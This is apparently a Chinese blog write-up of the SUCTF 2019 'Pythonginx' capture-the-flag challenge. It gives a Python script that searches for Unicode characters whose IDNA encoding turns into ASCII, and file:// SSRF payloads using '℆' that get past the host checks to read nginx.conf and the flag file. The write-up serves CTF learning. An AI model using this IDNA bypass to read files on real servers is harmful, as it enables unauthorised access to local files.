[SUCTF 2019]Pythonginx

给了一点源码,整理一下

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url") #获取url
    host = parse.urlparse(url).hostname #获取主机名例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url)) #提取url中的各个字段
    host = parts[1] #获取主机名即域名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
    parts[1] = '.'.join(newhost) #组合成域名
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname #获取主机名
    if host == 'suctf.cc': #判断是否为suctf.cc
        return urllib.request.urlopen(finalUrl).read() #读取finalUrl
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url)) #提取url中的各个字段
    host = parts[1] #获取主机名即域名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host

前两次判断主机名,如果是suctf.cc则失败

for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码

parts[1] = '.'.join(newhost) #组合成域名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #获取主机名
if host == 'suctf.cc': #判断是否为suctf.cc
        return urllib.request.urlopen(finalUrl).read() #读取finalUrl
else:
        return "我扌 your problem? 333"

第三次经过idna编码和utf8解码后来判断是否为suctf.cc

要利用ssrf来读取flag,首先要找到flag的位置,题目提示中间件是nginx,nginx的一些配置信息如下:

配置文件存放目录:/etc/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

首先查看配置文件,然后去找flag,file://suctf.cc/usr/local/nginx/conf/nginx.conf
但是有前两次判断,所以这样不行,并且要绕过第三次判断
寻找有无满足条件的字符,即经过idna编码然后utf8编码后满足上面的payload

脚本:

for i in range(128,65537):
    tmp = chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if("-") in res: #出现-说明不符合要求,直接排除
            continue
        print("ascii:{}  tmp:{}  res:{}".format(i,tmp,res))
    except:
        pass

网上出现比较多的一种payload用的是

U:℆    A:c/u      ascii:8454  ,因为℆经过编码解码后就是c/u,这和我们想要的file://suctf.cc/usr/local/nginx/conf/nginx.conf,刚好℆可以替代c/u

输入框输入

file://suctf.c℆sr/local/nginx/conf/nginx.conf

然后

file://suctf.c℆sr/fffffflag

得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值